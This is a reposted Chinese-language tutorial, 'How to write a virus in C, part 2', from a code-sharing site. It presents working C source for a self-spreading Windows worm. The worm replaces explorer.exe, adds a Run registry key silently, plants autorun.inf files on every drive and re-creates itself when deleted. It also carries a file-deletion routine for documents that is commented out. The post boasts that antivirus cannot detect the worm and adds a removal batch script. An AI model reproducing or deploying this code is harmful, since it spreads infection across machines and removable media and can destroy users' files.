怎樣用C語言編寫病毒(二)



本版病毒所具有的功能:
1.在所有磁盤的根目錄生成svchost.com和autorun.inf文件
2.生成病毒體:
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
3.病毒體c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注冊表做到啟動時在

explorer.exe前啟動
4.修改注冊表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
設置自啟動項(此操作不使用windowsAPI,防止用戶對病毒體的發現,並實現並行執行)
5.生成的autorun.inf改變磁盤的打開方式,使其在windows2000以上的系統無論選擇“打開”、“雙擊”、“

資源管理器”等方式都無法打開分驅,而是以運行病毒的方式取而代之。
6.連鎖能力,將病毒體相連,實現相連復制更新
7.使用進程不斷調用進程,使得在任務管理里無法結束病毒進程
8.不斷搜索磁盤,只要發現未感染病毒的一律感染,病毒刪除后1秒內再建
9.生成垃圾文件(DESTORY_感染_任意數字)5個於C盤下
10.附帶刪除文件函數(為防止危害,本函數默認不執行)

本病毒到目前為止任何殺毒軟件都無法將其查殺
本病毒單機默認使用對機器無害(破壞代碼已屏蔽)
提供病毒卸載程序(保存為X.BAT,雙擊運行即可卸載):

@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
copy c:\windows\system\explorer.exe c:\windows\explorer.exe
copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
echo 如果本次清除后仍殘留有病毒,請再次運行本程序
pause

--------------------------------------------------------------------
核心代碼:(全部代碼請從附件中下載,請用DEV-CPP運行其中的工程文件,編譯后請將結果文件svchost.exe更名為svchost.com,否則本病毒無法發揮作用,請安心運行實驗,惡意代碼已屏蔽)


/*
SK-CHINA
SVCHOST virus WRITE BY S.K
Compiler:
DEV-CPP 4.9.9.2
*/

/* SVCHOST.C */
/* SVCHOST.EXE */
/* SVCHOST.COM */
#include<stdio.h> /*標准輸入輸出*/
#include<string.h> /*字符串操作*/
#include<stdlib.h> /*其它函數*/
#include<process.h> /*進程控制*/
#include<dir.h> /*目錄函數*/

#define SVCHOST_NUM 6 /*關鍵位置病毒復制數量*/
#define RUBBISH_NUM 5 /*垃圾文件數量*/
#define REMOVE_NUM 5 /*刪除文件數*/
/*====================================================================*/
/*
文件AUTORUN.INF內容:
1.自動運行SVCHOST.com
2.覆蓋默認打開命令,使用病毒體作為新的打開方式
3.覆蓋默認資源管理器命令,使病毒體作為新的命令方式
*/
char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打開(&O)

\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=資源管理器(&X)

\nshell\\explore\\Command=\"SVCHOST.com /s\""};
/*=====================================================================*/
/*
添加注冊表項:
1.自動運行生成病毒體C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32

\"=\"C:\\\\windows\\\\wjview32.com /s\""};
/*=====================================================================*/
/*
函數:復制文件
復制源:infile
目的地:outfile
成功返回0,失敗返回1
*/
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
/*=====================================================================*/
/*
函數:通過explorer自動運行
成功返回0,失敗返回1,2
*/
int autorun_explorer()
{
FILE *input;
if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
{
fclose(input);
remove("c:\\windows\\$temp$");
remove("c:\\windows\\system32\\dllcache\\$temp$");
return 1;
}
copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32

\\dllcache\\$temp$");
if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy

("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
return 0;
else
return 2;
}
/*=====================================================================*/
/*
函數:添加注冊表項
成功返回0,失敗返回1
*/
int add_reg()
{
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
}
}
/*=====================================================================*/
/*
函數:復制病毒 + Autorun.inf自動運行
*/
void copy_virus()
{
int i,k;
FILE *input,*output;
char *files_svchost[SVCHOST_NUM]=

{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste

m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM;
}
}
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<24;k++)
{
copy(files_svchost[i],temp[0]);
if((output=fopen(temp[1],"w"))!=NULL)
{
fprintf(output,"%s",autorun);
fclose(output);
}
temp[0][0]++;
temp[1][0]++;
}
i=SVCHOST_NUM;
}
}
}
/*=====================================================================*/
/*
函數:制造垃圾文件
*/
void make_rubbish()
{
int i;
FILE *output;
srand(0);
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[30];
n=rand();
sprintf(s,"C:\\DESTORY_感染_%d",n);
if((output=fopen(s,"w"))!=NULL)
{
fprintf(output,"%ld%s",n*n,s);
fclose(output);
}
}
}
/*=====================================================================*/
/*
函數:刪除文件
*/
void remove_files()
{
long done;
int i;
struct _finddata_t ffblk;
char *remove_files[3]={"*.txt","*.doc","*.xls"};
for(i=0;i<3;i++)
{
if(_findfirst(remove_files[i],&ffblk)==-1) continue;
while(!done)
{
remove(ffblk.name);
_findnext(done,&ffblk);
}
_findclose(done);
}
}
/*=====================================================================*/
/*
主程序
使用DEV-CPP 32位C工程 實現.C程序脫離命令行界面,於后台執行
*/
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
copy_virus();
make_rubbish();
/* remove_files(); */
spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM